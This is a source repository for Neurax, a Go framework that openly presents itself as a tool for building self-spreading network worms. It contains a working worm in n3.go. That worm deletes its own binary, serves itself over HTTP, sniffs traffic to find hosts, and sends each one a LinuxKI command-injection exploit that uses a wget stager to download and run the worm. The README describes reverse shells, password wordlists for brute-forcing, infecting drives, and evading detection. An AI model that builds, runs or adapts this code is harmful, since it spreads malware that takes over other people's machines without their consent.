├── LICENSE ├── N.2.X ├── config.json ├── go.mod ├── go.sum └── n3.go ├── README.md ├── go.mod ├── go.sum ├── neurax.go ├── neurax.png └── passwd.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 redcodelabs.io 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /N.2.X/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "port": 5555, 3 | "passive_scan_timeout" : 200, 4 | "filename" : "PDWH_PKZCDM", 5 | "savepath" : ".robal", 6 | "scan_arp_only" : false, 7 | "config_refresh" : 60, 8 | "remove" : true, 9 | "adaptive_shell" : false 10 | } 11 | -------------------------------------------------------------------------------- /N.2.X/go.mod: -------------------------------------------------------------------------------- 1 | module n3.go 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.19 7 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d 8 | ) 9 | 10 | require golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect 11 | -------------------------------------------------------------------------------- /N.2.X/go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= 2 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= 3 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d h1:XQyeLr7N9iY9mi+TGgsBFkj54+j3fdoo8e2u6zrGP5A= 4 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d/go.mod h1:hoMeDjlNXTNqVwrCk8YDyaBS2g5vFfEX2ezMi4vb6CY= 5 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 6 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 7 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= 8 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= 9 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 10 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= 11 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 12 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 13 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 14 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 15 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 16 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 17 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 18 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 19 | -------------------------------------------------------------------------------- /N.2.X/n3.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "bytes" 6 | "time" 7 | "os" 8 | "log" 9 | "unsafe" 10 | //"errors" 11 | "net" 12 | "net/http" 13 | "io/ioutil" 14 | "encoding/json" 15 | "github.com/google/gopacket" 16 | "github.com/google/gopacket/layers" 17 | "github.com/google/gopacket/pcap" 18 | "github.com/zbiljic/go-filelock" 19 | ) 20 | 21 | type Config struct { 22 | port int 23 | filename string 24 | savepath string 25 | passive_scan_timeout int 26 | scan_arp_only bool 27 | remove bool 28 | config_refresh int 29 | adaptive_shell bool 30 | } 31 | 32 | var worm_file []byte 33 | var conf Config 34 | var raw_conf_file string 35 | 36 | var conf_server_addr = "http://127.0.0.1:5555" 37 | var smask = "255.255.255.255" 38 | var stc = 0 39 | 40 | func SetNilOnIf(v *interface{}) { 41 | *v = nil 42 | } 43 | func setNilPtr(p unsafe.Pointer) { 44 | *(**int)(p) = nil 45 | } 46 | 47 | func UpdateSTC(){ 48 | if conf.remove { 49 | 50 | } 51 | } 52 | 53 | func PopulateWormFile(){ 54 | var err error 55 | worm_file, err = os.ReadFile(os.Args[0]) 56 | if err != nil { 57 | //os.Exit(stc) 58 | } 59 | } 60 | 61 | func RemoveWormFile(){ 62 | os.Remove(os.Args[0]) 63 | } 64 | 65 | func DownloadConfig() { 66 | resp, err := http.Get(conf_server_addr) 67 | if err != nil { 68 | log.Fatal(err) 69 | } 70 | defer resp.Body.Close() 71 | body, err := ioutil.ReadAll(resp.Body) 72 | if err != nil { 73 | log.Fatal(err) 74 | } 75 | raw_conf_file = string(body) 76 | } 77 | 78 | func PopulateConfig(){ 79 | json.Unmarshal([]byte(raw_conf_file), &conf) 80 | } 81 | 82 | func ConfigDownloader(){ 83 | for { 84 | DownloadConfig() 85 | go PopulateConfig() 86 | time.Sleep(time.Duration(conf.config_refresh)*time.Second) 87 | } 88 | } 89 | 90 | func SingleExecLock(){ 91 | nflck, _ := filelock.New(".nflck") 92 | //var lck filelock.TryLockerSafe 93 | err := nflck.Lock() 94 | if err != nil { 95 | os.Exit(1) 96 | } 97 | defer nflck.Unlock() 98 | } 99 | 100 | func ServeItself(){ 101 | addr := fmt.Sprintf(":%d", conf.port) 102 | go http.ListenAndServe(addr, http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { 103 | go http.ServeContent(rw, r, conf.filename, time.Now(), bytes.NewReader(worm_file)) 104 | })) 105 | } 106 | 107 | func GetLocalIp() string { 108 | conn, _ := net.Dial("udp", "8.8.8.8:80") 109 | defer conn.Close() 110 | ip := conn.LocalAddr().(*net.UDPAddr).IP 111 | return fmt.Sprintf("%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]) 112 | } 113 | 114 | func CreateWormServerURL() string { 115 | return fmt.Sprintf("http://%s:%d/%s", GetLocalIp(), conf.port, conf.filename) 116 | } 117 | 118 | func Stager() string { 119 | return fmt.Sprintf("wget -O %s %s && chmod +x %s && ./%s && rm %s", 120 | conf.savepath, CreateWormServerURL(), 121 | conf.savepath, conf.savepath, conf.savepath) 122 | } 123 | 124 | func ExploitLinuxKI(target string){ 125 | http_ports := []string{"80", "8080", "8888"} 126 | vulnerable_path := "/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;" + Stager() 127 | for _, port := range http_ports { 128 | url := fmt.Sprintf("http://%s:%s/%s", target, port, vulnerable_path) 129 | http.Get(url) 130 | } 131 | } 132 | 133 | func HarvestHostsFromInterface(f func(string), iface string) { 134 | var snapshot_len int32 = 1024 135 | timeout := time.Duration(conf.passive_scan_timeout) * time.Second 136 | handler, _ := pcap.OpenLive(iface, snapshot_len, false, timeout) 137 | if conf.scan_arp_only { 138 | handler.SetBPFFilter("arp") 139 | } 140 | defer handler.Close() 141 | packetSource := gopacket.NewPacketSource(handler, handler.LinkType()) 142 | for packet := range packetSource.Packets() { 143 | ip_layer := packet.Layer(layers.LayerTypeIPv4) 144 | if ip_layer != nil { 145 | ip, _ := ip_layer.(*layers.IPv4) 146 | source := fmt.Sprintf("%s", ip.SrcIP) 147 | destination := fmt.Sprintf("%s", ip.DstIP) 148 | if source != GetLocalIp() && source != smask { 149 | go f(source) 150 | } 151 | if destination != GetLocalIp() && destination != smask { 152 | go f(destination) 153 | } 154 | } 155 | } 156 | } 157 | 158 | func InitPassiveScan(f func(string)) { 159 | device_names := []string{} 160 | devices, err := pcap.FindAllDevs() 161 | if err != nil { 162 | panic(err) 163 | } 164 | for _, dev := range devices { 165 | device_names = append(device_names, dev.Name) 166 | } 167 | for _, device := range device_names { 168 | go HarvestHostsFromInterface(f, device) 169 | } 170 | } 171 | 172 | func AdaptiveShell(){ 173 | 174 | } 175 | 176 | func main(){ 177 | SingleExecLock() 178 | PopulateWormFile() 179 | RemoveWormFile() 180 | go ConfigDownloader() 181 | ServeItself() 182 | if conf.adaptive_shell { 183 | go AdaptiveShell() 184 | } 185 | InitPassiveScan(ExploitLinuxKI) 186 | } 187 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |

3 | 4 | Neurax 5 | 6 |

7 |

8 |

A framework that aids in creation of self-spreading software

9 | 10 |

11 | 12 | ## Overview 13 | With help of Neurax, Golang binaries can spread on LAN/WAN without using any external servers. 14 | 15 | Diverse config options and command stagers allow rapid propagation across various wireless environments. 16 | 17 | 18 | ## Example code 19 | 20 | ```go 21 | package main 22 | import . "github.com/redcode-labs/Neurax" 23 | 24 | func main(){ 25 | 26 | //Specify serving port and stager to use 27 | Nrx.Config.Port = 5555 28 | Nrx.Config.Stager = "wget" 29 | 30 | //Start a server that exposes the current binary in the background 31 | go NeuraxServer() 32 | 33 | //Copy current binary to all logical drives 34 | NeuraxDisks() 35 | 36 | //Create a command stager that should be launched on target machine 37 | //It will download, decode and execute the binary 38 | cmd_stager := NeuraxStager() 39 | 40 | /* Now you have to somehow execute the command generated above. 41 | You can use SSH bruteforce, some RCE or whatever else you want ;> */ 42 | 43 | } 44 | ``` 45 |

46 | ## New in v. 2.X (separate sub-project) 47 | - Refactor: abandoned framework-like approach in favour of a ready-to-use binary 48 | - Generic wget stager for all UNIX targets 49 | - Single config file to tweak worm's behaviour on the fly 50 | - Automatic self-removal via `unlinkat(2)` 51 | - Example LinuxKI CVE exploit to supplement network spreading capabilities 52 | - JSON config file is downloaded and evaluated 53 | - Minimalistic re-write of host harvester 54 | 55 | ## New in v. 2.5 56 | - Optional background execution of the second-stage binary (`N.StagerBg`) 57 | - Command stager saves and executes in context-local path 58 | - It also removes the downloaded binary right after successful execution 59 | - Removed synchronized command execution mechanism for speed/stability reasons. 60 | I will come up with a decent alternative prior to next release. 61 | - `N.NoInfectCheck` to disable checking if host is already infected. 62 | - Single-execution policy on target machine, enforced with an exclusive file mutex placed inside `NeuraxServer()`. 63 | - Added a nested goroutine for serving the binary 64 | - New `httrack` stager for Linux 65 | - Commented-out common wordlist for detection evasion 66 | - Command stager can wait before removing the binary (`N.StagerRemovalDelay`) 67 | 68 | ## New in v. 2.0 69 | - New wordlist mutators + common passwords by country 70 | - Improvised passive scanning 71 | - `.FastScan` option that makes active scans a bit quicker 72 | - Wordlists are created strictly in-memory 73 | - `NeuraxScan()` accepts a callback function instead of channel as an argument. 74 | - `NeuraxScan()` scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets 75 | - Reverse-DNS lookup for targets that are not in IP format 76 | - Extraction of target candidates from ARP cache 77 | - Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways) 78 | - Possibility to specify interface and timeout when using passive network scan. 79 | - Improved command stager (can be optionally executed with elevated privileges / multiple times) 80 | - Few changes of options' names 81 | - `NeuraxConfig.` became `N.` (cause it's shorter to type) 82 | - Functions for random memory allocation + binary migration 83 | - Possibility to chain multiple stagers (ex. `wget` + `curl`) 84 | - Volume and complexity of created wordlist can be easily tuned (with options such as `.WordlistExpand`) 85 | - Possibility to set time-to-live of created binary 86 | 87 | 88 | ### List of config entries 89 | 90 | Name | Description | Default value 91 | --- | --- | --- 92 | Nrx.Config.Stager | Name of the command stager to use | `random, platform-compatible` 93 | Nrx.Config.StagerSudo | If true, Linux cmd stagers are executed with elevated privilleges | `false` 94 | Nrx.Config.StagerRetry | Number of times to re-execute the command stager | `0` 95 | Nrx.Config.StagerRemoveDelay | Sleep instruction is applied before removing the downloaded binary | `true` 96 | Nrx.Config.Port | Port to serve on | `6741` 97 | Nrx.Config.Platform | Platform to target | `detected automatically` 98 | Nrx.Config.Path | The path under which binary is saved on the host | `.` 99 | Nrx.Config.FileName | Name under which downloaded binary should be served and then saved | `random` 100 | Nrx.Config.Base64 | Encode the transferred binary in base64 | `false` 101 | Nrx.Config.CommPort | Port that is used by binaries to communicate with each other | `7777` 102 | Nrx.Config.CommProto | Protocol for communication between nodes | `"udp"` 103 | Nrx.Config.ReverseListener | Contains `":"` of remote reverse shell handler | `not specified` 104 | Nrx.Config.ReverseProto | Protocol to use for reverse connection | `"udp"` 105 | Nrx.Config.ScanRequiredPort | NeuraxScan() treats host as active only when it has a specific port opened| `none` 106 | Nrx.Config.ScanPassive | NeuraxScan() detects hosts using passive ARP traffic monitoring | `false` 107 | Nrx.Config.ScanPassiveTimeout | NeuraxScan() monitors ARP layer this amount of seconds | `50 seconds` 108 | Nrx.Config.ScanPassiveIface | Interface to use when scanning passively| `default` 109 | Nrx.Config.ScanActiveTimeout | NeuraxScan() sets this value as timeout for scanned port in each thread | `2 seconds` 110 | Nrx.Config.ScanPassiveAll | NeuraxScan() captures packets on all found devices | `false` 111 | Nrx.Config.ScanPassiveNoArp | Passive scan doesn't set strict ARP capture filter | `false` 112 | Nrx.Config.ScanFirst | A slice containing IP addresses to scan first | `[]string{}` 113 | Nrx.Config.ScanFirstOnly | NeuraxScan() scans only hosts specified within `.ScanFirst`| `false` 114 | Nrx.Config.ScanArpCache | NeuraxScan() scans first the hosts found in local ARP cache. Works only with active scan | `false` 115 | Nrx.Config.ScanCidr | NeuraxScan() scans this CIDR | `local IP + "\24"` 116 | Nrx.Config.ScanActiveThreads | Number of threads to use for NeuraxScan() | `10` 117 | Nrx.Config.ScanFullRange | NeuraxScan() scans all ports of target host to determine if it is active | `from 19 to 300` 118 | Nrx.Config.ScanInterval | Time interval to sleep before scanning whole subnet again | `"2m"` 119 | Nrx.Config.ScanHostInterval | Time interval to sleep before scanning next host in active mode | `"none"` 120 | Nrx.Config.ScanGatewayFirst | Gateway is the first host scanned when active scan is used | `false` 121 | Nrx.Config.Verbose | If true, all error messages are printed to STDOUT | `false` 122 | Nrx.Config.Remove | When any errors occur, binary removes itself from the host | `false` 123 | Nrx.Config.PreventReexec | If true, when any command matches with those that were already received before, it is not executed | `true` 124 | Nrx.Config.WordlistExpand | NeuraxWordlist() performs non-standard transformations on input words | false 125 | Nrx.Config.WordlistCommon | Prepend 20 most common passwords to wordlist | `false` 126 | Nrx.Config.WordlistCommonNum | Number of common passwords to use | `all` 127 | Nrx.Config.WordlistCommonCountries| A map[string]int that contains country codes and number of passwords to use| map[string]int 128 | Nrx.Config.WordlistMutators | Mutators to use when `.WordlistExpand` is specified | `{"single_upper", "cyryllic", "encapsule"}` 129 | Nrx.Config.WordlistPermuteNum | Maximum length of permutation generated by NeuraxWordlistPermute()| `2` 130 | Nrx.Config.WordlistPermuteSeparator | A separator character to use for permutations | `"-"` 131 | Nrx.Config.WordlistShuffle | Shuffle generated wordlist before returning it | `false` 132 | Nrx.Config.AllocNum | This entry defines how many times `NeuraxAlloc()` allocates random memory| `5` 133 | Nrx.Config.Blacklist | Slice that contains IP addresses that are excluded from any type of scanning | `[]string{}` 134 | Nrx.Config.FastHTTP | HTTP request in IsHostInfected() is performed using fasthttp library | `false` 135 | Nrx.Config.Debug | Enable debug messages | `false` 136 | Nrx.Config.NoInfectCheck | Disable checking if host is already infected | `true` 137 | 138 | ### Finding new targets 139 | Function `NeuraxScan(func(string))` enables detection of active hosts on local network. 140 | It's only argument is a callback function that is called in background for every active host. 141 | Host is treated as active when it has at least 1 open port, is not already infected + fullfils conditions specified within `N.` 142 | 143 | `NeuraxScan()` runs as infinite loop - it scans whole subnet specified by `.Cidr` config entry and when every host is scanned, function sleeps for an interval given in `.ScanInterval`. 144 | 145 | ### Disks infection 146 | Neurax binary doesn't have to copy itself using wireless means. 147 | Function `NeuraxDisks()` copies current binary (under non-suspicious name) to all logical drives that were found. 148 | Copied binary is not executed, but simply resides in it's destination waiting to be run. 149 | `NeuraxDisks()` returns an `error` if list of disks cannot be obtained or copying to any destination was impossible. 150 | 151 | Another function, `NeuraxZIP(num_files int) err` allows to create a randomly named .zip archive containing current binary. 152 | It is saved in current directory, and contains up to `num_files` random files it. 153 | 154 | `NeuraxZIPSelf()` simply zips the current binary, creating an archive holding the same name. 155 | 156 | ### Reverse connections 157 | An interactive reverse shell can be established with `NeuraxReverse()`. 158 | It will receive commands from hostname specified inside `.ReverseListener` in a form of `":"`. 159 | Protocol that is used is defined under `.ReverseProto` 160 | If `NeuraxOpenComm()` was started before calling this function, each command will behave as described in above section. 161 | If it was not, commands will be executed locally. 162 | 163 | Note: this function should be also runned as goroutine to prevent blocking caused by infinite loop used for receiving. 164 | 165 | ### Cleaning up 166 | Whenever `"purge"` command is received by a node, it resends this command to all other nodes, removes itself from host and quits. 167 | This behaviour can be also commenced using `NeuraxPurge()` executed somewhere in the source. 168 | 169 | ### Wordlist creation 170 | If spread vector of your choice is based on some kind of bruteforce, it is good to have a proper wordlist prepared. 171 | Storing words in a text-file on client side isn't really effective, so you can mutate a basic wordlist using `NeuraxWordlist(...words) []string`. 172 | To permute a set of given words, use `NeuraxWordlistPermute(..words) []string` 173 | 174 | ### Setting time-to-live 175 | If you want your binary to remove itself after given time, use `NeuraxSetTTL()` at the beginnig of your code. 176 | This function should be launched as a goroutine. 177 | For example: 178 | 179 | `go NeuraxSetTTL("2m")` 180 | 181 | will make the binary run `NeuraxPurgeSelf()` after 2 minutes from initial execution. 182 | 183 | ### Using multiple stagers at once 184 | If you would like to chain all stagers available for given platform, set `.Stager` to `"chain"`. 185 | 186 | ### Moving the dropped binary 187 | If you need to copy the binary after initial execution, use `NeuraxMigrate(path string)`. 188 | It will copy the binary under `path`, remove current binary and execute newly migrated one. 189 | 190 | 191 | ## Support this tool 192 | If you like this project and want to see it grow, please consider making a small donation :> 193 | 194 | [ >>>>> DONATE <<<<<](https://paypal.me/redcodelabs?locale.x=pl_PL) 195 | 196 | ## License 197 | This software is under [MIT license](https://en.wikipedia.org/wiki/MIT_License) -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/redcode-labs/Neurax 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770 7 | github.com/google/gopacket v1.1.19 8 | github.com/mostlygeek/arp v0.0.0-20170424181311-541a2129847a 9 | github.com/redcode-labs/Coldfire v0.0.0-20210817224707-ed9e88190bc7 10 | github.com/valyala/fasthttp v1.29.0 11 | github.com/yelinaung/go-haikunator v0.0.0-20150320004105-1249cae259af 12 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d 13 | ) 14 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/andybalholm/brotli v1.0.2 h1:JKnhI/XQ75uFBTiuzXpzFrUriDPiZjlOSzh6wXogP0E= 2 | github.com/andybalholm/brotli v1.0.2/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y= 3 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770 h1:1KEvfMGAjISVzk3Ti6pfaOgtoC3naoU0LfiJooZDNO8= 4 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770/go.mod h1:QGzdstKeoHmMWwi9oNHZ7DQzEj9pi7H42171pkj9htk= 5 | github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= 6 | github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc= 7 | github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= 8 | github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 9 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= 10 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= 11 | github.com/jackpal/gateway v1.0.7 h1:7tIFeCGmpyrMx9qvT0EgYUi7cxVW48a0mMvnIL17bPM= 12 | github.com/jackpal/gateway v1.0.7/go.mod h1:aRcO0UFKt+MgIZmRmvOmnejdDT4Y1DNiNOsSd1AcIbA= 13 | github.com/klauspost/compress v1.13.4 h1:0zhec2I8zGnjWcKyLl6i3gPqKANCCn5e9xmviEEeX6s= 14 | github.com/klauspost/compress v1.13.4/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg= 15 | github.com/matishsiao/goInfo v0.0.0-20200404012835-b5f882ee2288 h1:cdM7et8/VlNnSBpq3KbyQWsYLCY0WsB7tvV8Fr0DUNE= 16 | github.com/matishsiao/goInfo v0.0.0-20200404012835-b5f882ee2288/go.mod h1:yLZrFIhv+Z20hxHvcZpEyKVQp9HMsOJkXAxx7yDqtvg= 17 | github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8= 18 | github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 19 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY= 20 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 21 | github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= 22 | github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= 23 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc= 24 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= 25 | github.com/mostlygeek/arp v0.0.0-20170424181311-541a2129847a h1:AfneHvfmYgUIcgdUrrDFklLdEzQAvG9AKRTe1x1mx/0= 26 | github.com/mostlygeek/arp v0.0.0-20170424181311-541a2129847a/go.mod h1:jZxafo9CAqaKFQE4zitrg5QNlA6CXUsjwXPlIppF3tk= 27 | github.com/redcode-labs/Coldfire v0.0.0-20210817224707-ed9e88190bc7 h1:rfN4lS4OcJg/+Vn372wVNcf8phs7eYVIpk/tYcgjGec= 28 | github.com/redcode-labs/Coldfire v0.0.0-20210817224707-ed9e88190bc7/go.mod h1:buh7ehR7oHyb5Ytiu/nfWtVdCxTXkDzcTgE/Gz6P9P4= 29 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8 h1:ajJQhvqPSQFJJ4aV5mDAMx8F7iFi6Dxfo6y62wymLNs= 30 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8/go.mod h1:Nw/CCOXNyF5JDd6UpYxBwG5WWZ2FOJ/d5QnXL4KQ6vY= 31 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= 32 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= 33 | github.com/valyala/fasthttp v1.29.0 h1:F5GKpytwFk5OhCuRh6H+d4vZAcEeNAwPTdwQnm6IERY= 34 | github.com/valyala/fasthttp v1.29.0/go.mod h1:2rsYD01CKFrjjsvFxx75KlEUNpWNBY9JWD3K/7o2Cus= 35 | github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= 36 | github.com/yelinaung/go-haikunator v0.0.0-20150320004105-1249cae259af h1:q8vvhFu/wCz94XJxzF0hCzfNxIb6E+dTRIsh9vsWAsI= 37 | github.com/yelinaung/go-haikunator v0.0.0-20150320004105-1249cae259af/go.mod h1:jGDZu6LyiOPbvJqHW0320zIqCODGq8zYdVS0ZE6Jlso= 38 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d h1:XQyeLr7N9iY9mi+TGgsBFkj54+j3fdoo8e2u6zrGP5A= 39 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d/go.mod h1:hoMeDjlNXTNqVwrCk8YDyaBS2g5vFfEX2ezMi4vb6CY= 40 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 41 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 42 | golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8= 43 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= 44 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= 45 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 46 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 47 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 48 | golang.org/x/net v0.0.0-20210510120150-4163338589ed h1:p9UgmWI9wKpfYmgaV/IZKGdXc5qEK45tDwwwDyjS26I= 49 | golang.org/x/net v0.0.0-20210510120150-4163338589ed/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 50 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 51 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 52 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 53 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 54 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 55 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 56 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 57 | golang.org/x/sys v0.0.0-20210514084401-e8d321eab015 h1:hZR0X1kPW+nwyJ9xRxqZk1vx5RUObAPBdKVvXPDUH/E= 58 | golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 59 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 60 | golang.org/x/text v0.3.0/go.mod 